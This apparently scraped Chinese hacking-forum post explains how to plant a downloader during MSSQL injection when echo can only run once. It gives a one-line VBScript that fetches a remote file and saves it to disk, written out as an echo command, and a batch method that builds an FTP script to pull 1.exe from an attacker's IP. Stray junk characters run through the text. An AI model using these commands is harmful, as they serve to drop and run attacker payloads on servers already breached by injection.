mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
- H' d/ u  d. j# s# Y1 D: V) ^1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
3 R- ~# F: |6 \6 T
6 _/ D/ k; l) D; _3 tSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

) l  {) O0 P' b3 Z这样我们可以一次echo成功,echo版本:

3 m0 }7 B: ]! c8 Zecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
' t# s6 [) i2 L: s2 ~9 [" s3 vecho open ip&gt;2.vbs
echo u&gt;3.vbs
" l; h' w1 c0 P4 b. @; k0 Zecho s&gt;4.vbs
$ G* A; Z$ U* R) _! M" {echo binary&gt;5.vbs
: P7 j# h; f6 B% h7 D4 |. A# vecho get 1.exe&gt;6.vbs
+ j( H  |( \% M5 E: H2 S! Hecho bay&gt;7.vbs

- r% T/ _! q4 G3 ?$ Z$ kcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
( G3 h' d1 ]$ _2 Y2 U, `</P>